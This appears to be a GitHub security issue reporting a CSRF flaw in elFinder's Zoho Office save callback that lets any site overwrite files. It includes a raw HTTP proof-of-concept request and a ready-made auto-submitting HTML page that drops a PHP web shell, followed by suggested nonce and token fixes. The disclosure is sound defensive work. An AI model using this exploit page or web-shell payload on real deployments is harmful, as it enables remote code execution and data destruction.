- Notifications
You must be signed in to change notification settings - Fork1.4k
Description
Description
The Zoho Office integration exposescmd=editor&name=ZohoOffice&method=save, a multipart POST endpoint that is intended to receive Zoho’s callback with the edited document. The handler accepts any user-suppliedhash value, looks up the corresponding volume using the victim’s existing session cookies, and then overwrites that file with the uploaded payload via$volume->putContents(). There is no CSRF token, no nonce binding the request to a priorinit() call, and no verification that the callback originated from Zoho.
In practice, any external site can build a hidden form that posts to the connector while the victim is logged in. When the browser submits that form, the attacker-controlled content replaces the targeted file. This behavior is present in upstream elFinder as of November 2025 as well as in downstream mirrors such as the Typesetter gitea snapshot observed on 2025-11-10.
Impact depends on the writable paths exposed by the affected volume:
- Persistent XSS by overwriting HTML, JavaScript, or templated assets.
- Remote code execution by dropping or replacing PHP scripts under webroot.
- Application corruption or data loss by clobbering configuration or content files.
Affected Component
File:php/editors/ZohoOffice/editor.php, methodelFinderEditorZohoOffice::save()
Entry point:cmd=editor&name=ZohoOffice&method=save in the PHP connector.
Current implementation in Studio-42/elFinder main branch (lines 188-209):
publicfunctionsave(){if (!empty($_POST) && !empty($_POST['hash']) && !empty($_FILES) && !empty($_FILES['content'])) {$hash =$_POST['hash'];/** @var elFinderVolumeDriver $volume */if ($volume =$this->elfinder->getVolume($hash)) {if ($content =file_get_contents($_FILES['content']['tmp_name'])) {if ($volume->putContents($hash,$content)) {returnarray('raw' =>true,'error' =>'','header' =>'HTTP/1.1 200 OK'); } } } }returnarray('raw' =>true,'error' =>'','header' =>'HTTP/1.1 500 Internal Server Error');}
Note: The hash is accepted directly from$_POST['hash'] (not from a JSON-encoded$_POST['id'] as in some older forks). This is the current upstream implementation as confirmed in the repository.
Root Cause
1. Untrusted File Identifier
Thesave() handler:
- accepts
hashdirectly from$_POST['hash'], - passes this hash directly into
$this->elfinder->getVolume($hash)and$volume->putContents($hash, $content).
There isno verification that:
- the hash came from a genuine
initcall, or - it was ever associated with this Zoho session, or
- the request originated from Zoho's servers.
2. No CSRF Protection
The PHP connector'srun() entry point does not enforce CSRF tokens forcmd=editor calls; it simply dispatches to the editor plugin. This design has been documented before in the context of earlier elFinder vulnerabilities.
As a result, a cross-origin<form> POST to:
/connector.php?cmd=editor&name=ZohoOffice&method=savewill be processed with the victim's existing session cookies.
3. No Binding Between init and save
Ininit(), the Zoho editor URL is generated (lines 150-152 ineditor.php):
$conUrl = elFinder::getConnectorUrl();$data['callback_settings']['save_url'] =$conUrl . (strpos($conUrl,'?') !==false?'&' :'?') .'cmd=editor&name=' .$this->myName .'&method=save' .$cdata;
Additionally, the hash is passed to Zoho insave_url_params (lines 139-141):
'callback_settings' =>array('save_format' =>$format,'save_url_params' =>array('hash' =>$hash ))
The callback URL containsno MAC, nonce, or session token that is later validated bysave(). Zoho is configured to send back thehash parameter, which is then trusted implicitly. This parameter is fully attacker-controlled in a CSRF context.
4. Dangerous Sink: $volume->putContents()
elFinderVolumeDriver::putContents($hash, $content) resolves the hash to a path in the volume and overwrites that file with the supplied content, assuming the user has write permission. This is the same primitive that has been used in prior arbitrary file write exploits against elFinder integrations.
Impact
For any deployment that:
- exposes the elFinder connector to the browser,
- authenticates users via cookies,
- and enables ZohoOffice editing (
ELFINDER_ZOHO_OFFICE_APIKEYdefined,enabled()returns true),
an attacker can:
- host a malicious web page,
- lure a logged-in elFinder user to visit it,
- and have the victim's browser send a crafted
saverequest that overwrites any writable file in the victim's volume.
Resulting Impact:
- Integrity: Full compromise of any writable file in the volume.
- Availability: High – overwriting configuration, libraries, or application code can render the application unusable.
- Confidentiality: If a writable PHP file under webroot is overwritten with attacker-controlled code, this leads toremote code execution and full data disclosure on the host.
This is anauthenticated CSRF – the attacker needs the victim to be logged into elFinder in their browser, but does not need direct access to the instance.
Proof of Concept (Maintainer-Oriented)
The vulnerability can be reproduced without Zoho by simulating its callback.
Step-by-Step Reproduction:
Log into your application so elFinder is available and Zoho integration is enabled.
Use
cmd=open(or the UI) to obtain the hash of a test file in a writable volume (e.g. a text file).From a tool like curl or a REST client, send a multipart POST to your connector:
POST /connector.php?cmd=editor&name=ZohoOffice&method=save HTTP/1.1Host: your-elfinder-hostCookie: [your authenticated session cookies]Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundaryContent-Disposition: form-data; name="hash"<hash-of-target-file>------WebKitFormBoundaryContent-Disposition: form-data; name="content"; filename="payload.txt"Content-Type: text/plainoverwritten by zoho csrf------WebKitFormBoundary--
- After this request, the target file's content is replaced with
overwritten by zoho csrf(or whatever payload you supplied), despite the request not originating from Zoho and not being tied to any editor session.
Browser-Based CSRF Attack:
In a browser-based CSRF scenario, a malicious site can achieve the same effect by having the victim's browser submit such a form cross-origin; there is no CSRF protection in the connector or insave().
Example malicious HTML:
<!DOCTYPE html><html><head><title>Innocent Page</title></head><body><h1>Loading content...</h1><formid="csrf-attack"method="POST"action="https://victim-elfinder.com/connector.php?cmd=editor&name=ZohoOffice&method=save"enctype="multipart/form-data"style="display:none"><inputtype="text"name="hash"value="l1_dGVzdC50eHQ"><inputtype="file"name="content"><inputtype="submit"></form><script>// Create malicious file contentconstmaliciousContent='<?php system($_GET["cmd"]); ?>';constblob=newBlob([maliciousContent],{type:'text/plain'});constfile=newFile([blob],'shell.php',{type:'text/plain'});// Populate file inputconstdataTransfer=newDataTransfer();dataTransfer.items.add(file);document.querySelector('input[name="content"]').files=dataTransfer.files;// Auto-submit the formsetTimeout(()=>{document.getElementById('csrf-attack').submit();},1000);</script><p>Please wait while we load your content...</p></body></html>
When a logged-in elFinder user visits this page, their browser automatically submits the malicious form, overwriting the target file with attacker-controlled content.
Severity
I would rate this asHigh:
- Attack vector: Network (cross-origin CSRF).
- Privileges required: None beyond the victim's existing session (attacker is unauthenticated).
- User interaction: Victim must visit an attacker-controlled page while logged in.
- Impact: Arbitrary file overwrite → potential RCE, persistent XSS, or destructive data loss.
CVSS 3.1 Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Impact Breakdown:
- Confidentiality: HIGH - Can lead to RCE and full data disclosure
- Integrity: HIGH - Arbitrary file overwrite in user's volume
- Availability: HIGH - Overwriting critical files can make the application unavailable
- User Interaction: REQUIRED - Victim must visit malicious page while authenticated
Recommendations
Short-term / Hardening:
1. Add CSRF Protection to cmd=editor / save
- Require a per-session CSRF token (e.g. stored in the PHP session and sent as a POST parameter or header) for all state-changing commands.
- Validate this token in the connector before dispatching to editor plugins, including ZohoOffice.
Example implementation:
// Ensure connector bootstrap has a live PHP sessionif (session_status() !==PHP_SESSION_ACTIVE) {session_start();}// Inside init(), after determining $hash$nonce =bin2hex(random_bytes(16));$_SESSION['zoho_edit_nonce'][$hash] =$nonce;$data['callback_settings']['save_url_params'] =array('hash' =>$hash,'nonce' =>$nonce);$conUrl = elFinder::getConnectorUrl();$nonceSuffix ='&nonce=' .rawurlencode($nonce);$data['callback_settings']['save_url'] =$conUrl . (strpos($conUrl,'?') !==false ?'&' :'?') .'cmd=editor&name=' .$this->myName .'&method=save' .$nonceSuffix;// Inside save()$hash =$_POST['hash'] ??'';$nonce =$_POST['nonce'] ?? ($_GET['nonce'] ??'');if (empty($hash) ||empty($_FILES['content']) ||empty($_SESSION['zoho_edit_nonce'][$hash]) || !hash_equals($_SESSION['zoho_edit_nonce'][$hash],$nonce)) {returnarray('raw' =>true,'error' =>'Invalid or expired edit session','header' =>'HTTP/1.1 403 Forbidden' );}unset($_SESSION['zoho_edit_nonce'][$hash]);// ... continue with existing save logic using $hash
2. Validate the Source of the Callback
- If Zoho supports signed callbacks, consider checking Zoho's signature.
- At minimum, validate the
Origin/Refererheader to ensure the request comes from Zoho's domains before accepting it (recognising that referrer checks are a defence-in-depth measure, not a full CSRF solution).
Example implementation:
publicfunctionsave(){// Validate origin (defense-in-depth)$allowed_origins = ['https://api.office.zoho.com','https://api.office.zoho.eu','https://api.office.zoho.in' ];$origin =$_SERVER['HTTP_ORIGIN'] ??'';$referer =$_SERVER['HTTP_REFERER'] ??'';$valid_origin =false;foreach ($allowed_originsas$allowed) {if (strpos($origin,$allowed) ===0 ||strpos($referer,$allowed) ===0) {$valid_origin =true;break; } }if (!$valid_origin) {error_log('ZohoOffice save callback from unexpected origin:' .$origin);// Continue with other validation (not a hard block) }// ... rest of validation and save logic}
3. Optionally Scope Hashes per Session
- Instead of trusting arbitrary hashes in callbacks, consider mapping a short-lived, unguessable token to the target file for the duration of the Zoho editing session, and only accepting that token in
save().
Example implementation:
// In init()publicfunctioninit($hash,$options =array()){// Generate unique edit token$edit_token =bin2hex(random_bytes(16));// Map token to actual file hash$_SESSION['zoho_edit_tokens'][$edit_token] = ['hash' =>$hash,'expires' =>time() +3600// 1 hour ];// Pass token to Zoho instead of raw hash$data['callback_settings']['save_url_params'] =array('edit_token' =>$edit_token );// ... rest of init logic}// In save()publicfunctionsave(){if (!empty($_POST['edit_token']) && !empty($_FILES['content'])) {$token =$_POST['edit_token'];// Validate edit token instead of trusting hashif (!empty($token)) {if (empty($_SESSION['zoho_edit_tokens'][$token])) {returnarray('raw' =>true,'error' =>'Invalid or expired edit token','header' =>'HTTP/1.1 403 Forbidden' ); }$token_data =$_SESSION['zoho_edit_tokens'][$token];// Check expirationif ($token_data['expires'] <time()) { unset($_SESSION['zoho_edit_tokens'][$token]);returnarray('raw' =>true,'error' =>'Edit session expired','header' =>'HTTP/1.1 403 Forbidden' ); }// Use validated hash$hash =$token_data['hash'];// Clean up token after use unset($_SESSION['zoho_edit_tokens'][$token]);// ... proceed with save using validated hash } }}
Operational / Documentation:
Document the Risk of Enabling ZohoOffice
Until a fix is shipped, warn that enabling ZohoOffice on an internet-facing elFinder instance exposes users to CSRF-driven file overwrites, and should be limited to trusted internal environments.
Suggested security advisory text:
Security Warning: The Zoho Office editor integration currently lacks CSRF protection in the save callback handler. Until this is addressed, deployments that enable ZohoOffice (
ELFINDER_ZOHO_OFFICE_APIKEYconfigured) on internet-facing instances are vulnerable to cross-site request forgery attacks that can overwrite arbitrary files. We recommend:
- Only enable ZohoOffice in trusted, internal environments
- Implement additional network-level access controls
- Monitor for unexpected file modifications
- Consider disabling ZohoOffice until patched versions are available
Disclosure
I haven't seen this specific Zoho save callback issue documented in the existing elFinder security notes or Packagist warning (which refer to earlier pre-2.1.65 issues), so I'm treating it as a separate vulnerability.
If you'd like, I'm happy to:
- help verify whether other editors that implement
save()in a similar way are affected.